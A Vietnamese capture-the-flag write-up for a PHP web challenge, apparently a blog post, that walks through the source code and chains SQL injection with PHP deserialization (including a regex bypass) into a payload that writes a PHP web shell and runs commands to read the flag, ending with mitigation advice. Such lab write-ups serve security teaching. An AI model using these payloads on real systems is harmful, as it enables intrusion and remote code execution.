Post

Canteen Food

A random CTF CHALL sent to me by Pzhat

Canteen Food

Cách mình làm

Setup

img-description Source Files

Nhìn vào file đề cho thì ta thấy nó sẽ được build và chạy bằng Docker, nên đầu tiên chúng ra sẽ cài đặt Docker và chạy nó, về phần cài đặt Docker thì các bạn tự tìm hiểu nha.

Recon & Đọc Source Code

Recon

Sau khi build và chạy container, truy cập vào localhost thì chúng ta có 1 website như sau: img-description Website

Cơ bản thì khi bạn nhập 1 giá tiền vào thanh tìm kiếm, nó sẽ đưa ra những món ăn có giá tiền thấp hơn giá tiền mà bạn đã nhập.

Sau một hồi nghịch ngợm ở đây thì mình thấy ở đây có thêm 1 directory là /admin, nhưng cũng không có gì thú vị lắm.

img-description Admin

Phân tích Source Code

Dockerfile

Đầu tiên mình kiểm tra file Dockerfile:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
FROM debian:bullseye-slim@sha256:6344a6747740d465bff88e833e43ef881a8c4dd51950dba5b30664c93f74cbef

# Setup user
RUN useradd www

# Install system packeges
RUN apt-get update && apt-get install -y supervisor nginx lsb-release mariadb-server mariadb-client wget gcc

# Add repos
RUN wget -O /etc/apt/trusted.gpg.d/php.gpg https://packages.sury.org/php/apt.gpg
RUN echo "deb https://packages.sury.org/php/ bullseye main" | tee /etc/apt/sources.list.d/php.list

# Install PHP dependencies
RUN apt update && apt install -y php7.1-fpm php7.1-mysql

# Configure php-fpm and nginx
COPY config/fpm.conf /etc/php/7.1/fpm/php-fpm.conf
COPY config/supervisord.conf /etc/supervisord.conf
COPY config/nginx.conf /etc/nginx/nginx.conf
COPY config/mariadb.conf /etc/mysql/mariadb.conf.d/50-server.cnf

# Copy challenge files
COPY challenge /www

# Copy flag
COPY flag.txt /
COPY logs.txt /


# Add readflag binary and prepare flag
COPY readflag.c /
RUN gcc /readflag.c -o /readflag \
    && chown root:root /readflag \
    && chmod +s /readflag \
    && rm /readflag.c \
    && chmod 400 /flag.txt

# Setup permissions
RUN chown -R www:www /www /var/lib/nginx
RUN chown www:www /logs.txt

RUN apt-get remove gcc wget -y

# Expose the port nginx is listening on
EXPOSE 80

# Start db and start supervisord
COPY --chown=root entrypoint.sh /entrypoint.sh
ENTRYPOINT ["/entrypoint.sh"]

Nội dung file này chỉ là những câu lệnh để tạo ra 1 máy chủ web chạy bằng PHP 7.1, cài sẵn MariaDB.

entrypoint.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
#!/bin/bash

chmod 600 /entrypoint.sh

mkdir -p /run/mysqld
chown -R mysql:mysql /run/mysqld
mysql_install_db --user=mysql --ldata=/var/lib/mysql
mysqld --user=mysql --console --skip-name-resolve --skip-networking=0 &

while ! mysqladmin ping -h'localhost' --silent; do echo "not up" && sleep .2; done


export DB_USER="user_$(cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 5 | head -n 1)"
export DB_NAME="db_$(cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 5 | head -n 1)"

mysql -u root << EOF
CREATE DATABASE $DB_NAME;
CREATE TABLE $DB_NAME.food (
    id INT NOT NULL AUTO_INCREMENT,
    name VARCHAR(255),
    oldvalue VARCHAR(255),
    price float,
    PRIMARY KEY (id)
);

INSERT INTO $DB_NAME.food (name, oldvalue, price) VALUES ('Spaghetti', '', 2.99);
INSERT INTO $DB_NAME.food (name, oldvalue, price) VALUES ('Burger', '', 100.99);
INSERT INTO $DB_NAME.food (name, oldvalue, price) VALUES ('Cookies', '', 22.30);
INSERT INTO $DB_NAME.food (name, oldvalue, price) VALUES ('Lasagna', '', 7.50);
INSERT INTO $DB_NAME.food (name, oldvalue, price) VALUES ('Schnitzel', '', 5000.99);
INSERT INTO $DB_NAME.food (name, oldvalue, price) VALUES ('','YToyOntpOjA7czo1OiJQaXp6YSI7aToxO2Q6MC45OTt9', 0);

CREATE USER '$DB_USER'@'%';
GRANT SELECT, UPDATE ON *.* TO '$DB_USER'@'%';
ALTER USER 'root'@'localhost' IDENTIFIED BY 'test123';
FLUSH PRIVILEGES;

EOF

echo -e "fastcgi_param DB_NAME $DB_NAME;\nfastcgi_param DB_USER $DB_USER;\nfastcgi_param DB_PASS '';" >> /etc/nginx/fastcgi_params

/usr/bin/supervisord -c /etc/supervisord.conf

File trên dùng để bật và khởi tạo database, và kết nối giữa Web và DB để mà nguồn có thể chạy được.

Ở dòng 31 của đoạn code trên, mình có thấy 1 chuỗi text khá kì lạ:

1
YToyOntpOjA7czo1OiJQaXp6YSI7aToxO2Q6MC45OTt9

Sau khi thử decode bằng base64 thì mình có 1 chuỗi PHP đã được Serialize như sau:

1
a:2:{i:0;s:5:"Pizza";i:1;d:0.99;}

Và mình nghi ngờ rằng web này sẽ có lỗ hỏng PHP Deserialized, qua đó mình cũng biết được dữ liệu của bảng food có 4 cột.

Model

CanteenModel.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
<?php
class CanteenModel {


    public function getFood() {
        $log_entry = 'Access at: '. date('Y-m-d H:i:s') . "<br>\n";
        $logger = new AdminModel("/logs.txt", $log_entry);

        $db = Database::getConnection();
        $sql = "SELECT * FROM food";
        if ($result = $db->query($sql)) {
            $result_string = "";
            while($obj = $result->fetch_object()){
                if($obj->name !== '') {
                    $result_string .= $obj->name . ' for ' . $obj->price . '€ <br>';
                    $db->query("UPDATE food SET price = " . (rand(0, 100000) / 100) . " WHERE name = \"" . $obj->name. "\"");
                }

                if($obj->oldvalue !== '') {
                    $dec_result = base64_decode($obj->oldvalue);
                    if (preg_match_all('/O:\d+:"([^"]*)"/', $dec_result, $matches)) {
                        return 'Not allowed';
                    }
                    $uns_result = unserialize($dec_result);
                    $result_string .= $uns_result[0] . ' for ' . $uns_result[1] . '€<br>';
                    $new_value = [$uns_result[0], (rand(0, 100000) / 100)];
                    $db->query("UPDATE food SET oldvalue = \"" . base64_encode(serialize($new_value)) . "\" WHERE oldvalue = \"" . $obj->oldvalue . "\"");
                }
            }
            return $result_string;
        }
        return 'No food this week - we\'re closed';
    }

    public function filterFood($price_param) {
        $log_entry = 'Access at: '. date('Y-m-d H:i:s') .   "<br>\n";
        $logger = new AdminModel("../logs.txt", $log_entry);


        $db = Database::getConnection();
        $sql = "SELECT * FROM food where price < " . $price_param;
        if ($result = $db->query($sql)) {
            $result_string = "";
            while($obj = $result->fetch_object()){
                if($obj->name !== '') {
                    $result_string .= $obj->name . ' for ' . $obj->price . '€ <br>';
                }

                if($obj->oldvalue !== '') {
                    $dec_result = base64_decode($obj->oldvalue);
                    if (preg_match_all('/O:\d+:"([^"]*)"/', $dec_result, $matches)) {
                        return 'Not allowed';
                    }
                    $uns_result = unserialize($dec_result);
                    if ($uns_result[1] < $price_param) {
                        $result_string .= $uns_result[0] . ' for ' . $uns_result[1] . '€<br>';
                    }
                }
            }

            if($result_string === "") {
                return 'Everything is too expensive for you this week, Sir/Madame. We\'re sorry!';
            }
            return $result_string;
        }

        return 'Everything is too expensive for you this week, Sir/Madame. We\'re sorry!';
    }
}

Sau khi phân tích thì mình thấy hàm filterFood($price_param) trong CanteenModel thực hiện nối chuỗi trực tiếp:

1
$sql = "SELECT * FROM food where price < " . $price_param;

Cho phép chúng ta sử dụng UNION SELECT để điều khiển dữ liệu trả về từ Database.

Ngoài ra dữ liệu từ cột oldvalue sẽ đi thẳng vào:

1
$uns_result = unserialize($dec_result);

=> Confirm lỗ hỏng là PHP DeserializationSQL Injection.

Mặc dù đã có 1 lớp Regex chặn các đối tượng khởi đầu bằng O:\d+:

1
2
3
if (preg_match_all('/O:\d+:"([^"]*)"/', $dec_result, $matches)) {
      return 'Not allowed';
}

nhưng chúng ta có thể bypass bằng cách thêm dấu + vào độ dài của class. Ví dụ như O:+10:"AdminModel".

AdminModel.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php

if($_SESSION["admin"] === false){
    return "You're not welcome. This part is only for canteen workers.";
}


class AdminModel {
    public $filename;
    public $logcontent;

    public function __construct($filename, $content) {
        $this->filename = $filename;
        $this->logcontent = $content;
        file_put_contents($filename, $content, FILE_APPEND);
    }

    public function __wakeup() {
        new LogFile($this->filename, $this->logcontent);
    }

    public static function read_logs($log) {
        $contents = file_get_contents($log);
        return $contents;
    }
}

class LogFile {
    public function __construct($filename, $content) {
        file_put_contents($filename, $content, FILE_APPEND);
    }
}

Nhìn vào đây mình thấy được ở hàm __construct($filename, $content) thì mình thấy lệnh sau:

1
file_put_contents($filename, $content, FILE_APPEND);

Mình nghĩ ngay đến RCE thông qua việc tạo 1 log file có đuôi .php với nội dung mà chúng ta có thể tuỳ chỉnh, nhưng vấn đề lớn ở đây là hàm __construct($filename, $content) của AdminModel, nó sẽ set tên file và nội dung khi ta gọi newCanteenModel.php:

1
2
$log_entry = 'Access at: '. date('Y-m-d H:i:s') .   "<br>\n";
$logger = new AdminModel("../logs.txt", $log_entry);

Vậy thì giờ chúng ta phải làm gì?

CÁI CHÚNG TA CẦN CHÍNH LÀ HÀM __wakeup()!!!

Khi chúng ta sử dụng hàm unserialize(), nó sẽ bỏ qua hàm __construct, và gọi thẳng vào hàm __wakeup().

Hiểu nôm na là:

1
2
- New sẽ như bạn tạo một nhân vật mới trong game thông qua Construct, dữ liệu sẽ hoàn toàn được tạo mới.
- Unserialize sẽ như bạn load sẽ một nhân vật có sẵn, nó gọi thẳng Wakeup và dữ liệu sẽ được nhập vào DB.

Hướng giải

Sau khi phân tích source code đã đời thì mình sẽ thực hiện tấn công thông qua SQL INJECTIONPHP Deserialization.

Nghịch

Payload

Đầu tiên mình xây dựng 1 chuỗi PHP đã được serialize như sau:

1
a:3:{i:0;s:7:"SKIBIDI";i:1;s:1:"1";i:2;O:+10:"AdminModel":2:{s:8:"filename";s:9:"shell.php";s:10:"logcontent";s:30:"<?php system($_GET['cmd']); ?>";}}

Sau đó encode nó với Base64:

1
YTozOntpOjA7czo3OiJTS0lCSURJIjtpOjE7czoxOiIxIjtpOjI7TzorMTA6IkFkbWluTW9kZWwiOjI6e3M6ODoiZmlsZW5hbWUiO3M6OToic2hlbGwucGhwIjtzOjEwOiJsb2djb250ZW50IjtzOjMwOiI8P3BocCBzeXN0ZW0oJF9HRVRbJ2NtZCddKTsgPz4iO319

Rồi mình xây dựng 1 payload SQL sử dụng UNION SELECT:

1
-1 UNION SELECT 1, 'test', 'YTozOntpOjA7czo3OiJTS0lCSURJIjtpOjE7czoxOiIxIjtpOjI7TzorMTA6IkFkbWluTW9kZWwiOjI6e3M6ODoiZmlsZW5hbWUiO3M6OToic2hlbGwucGhwIjtzOjEwOiJsb2djb250ZW50IjtzOjMwOiI8P3BocCBzeXN0ZW0oJF9HRVRbJ2NtZCddKTsgPz4iO319', 4-- -
Giải thích payload

Chuỗi PHP Serialized

a:3: để khai báo 1 mảng vì source code truy cập dữ liệu theo dạng mảng (ở file CanteenModel.php).

i:0;s:7:"SKIBIDI";: Phần tử index 0, giá trị là chuỗi “SKIBIDI”.

i:1;s:1:"1";: Phần tử index 1, giá trị là chuỗi “1”.

O:+10:"AdminModel":2:{s:8:"filename";s:9:"shell.php";s:10:"logcontent";s:30:"<?php system($_GET['cmd']); ?>";: đây là đối tượng chính để tạo ra file log với filenameshell.php với logcontent<?php system($_GET['cmd']); ?>, với AdminModel là tên class mà chúng ta muốn khởi tạo lại

SQL Câu truy vấn SQL thêm -1: vì giá của các món ăn trong bảng food luôn là số dương, việc thêm số -1 sẽ làm db trả về kết quả rỗng vì không có món ăn nào có price < -1.

Sử dụng UNION: dùng để kết hợp kết quả của 2 câu lệnh SELECT, ép Database chỉ trả về dữ liệu của câu lệnh phía sau bằng việc kết hợp với truy vấn có số -1 ở trước.

Dấu -- -: Để comment lại tất cả các câu truy vấn phía sau, giúp không xảy ra lỗi khi câu truy vấn được thực thi.

Thực thi

Sau khi dán toàn bộ payload vào thanh tìm giá thì kết quả trả về như sau: img-description Tạo file thành công

Nó đã trả về dữ liệu mà chúng ta muốn, giờ thử truy cập vào /shell.php?cmd= và thực hiện RCE: img-description RCE Thành Công

img-description Tiếp tục xem

Và chúng ta có được flag:

img-description Lấy flag

Kết luận

Bản chất

Bản chất của bài này là một chuỗi tấn công, RCE thông qua việc sử dụng SQL INJECTIONPHP DESERIALIZATION

SQLi vì truy vấn cho phép nối chuỗi, không validate, và chúng ta có thể sử dụng -1UNION SELECT để ép Database trả về dữ liệu mà ta mong muốn.

PHP Deserialization vì source code sử dụng hàm unserialize() mà không hề kiểm soát chặt chẽ.

Kinh nghiệm rút ra

Thay vì nối chuỗi trực tiếp thì có thể sử dụng ? làm placeholder cho dữ liệu, và phải kết hợp với việc validate input, ép kiểu và sử dụng filter để không bị SQL Injection. Phải hạn chế quyền hạn của user, không nên cho phép các quyền hạn tối cao.

Tuyệt đối không bao giờ deserialize dữ liệu từ người dùng hoặc database mà không có cơ chế kiểm soát chặt chẽ. Có thể thay bằng json_decode()để tránh việc tự động khởi tạo object.

Magic method cũng là con dao 2 lưỡi (__wakeup(), __destruct()), giúp lập trình tiện hơn nhưng cũng dễ bị mấy anh hacker đục hơn :v

Lời kết

Thôi thì bài writeup của mình cũng chỉ đến đây thôi =))) Chúc các bạn 1 ngày vui vẻ, mình ngủ đây.

This post is licensed under CC BY 4.0 by the author.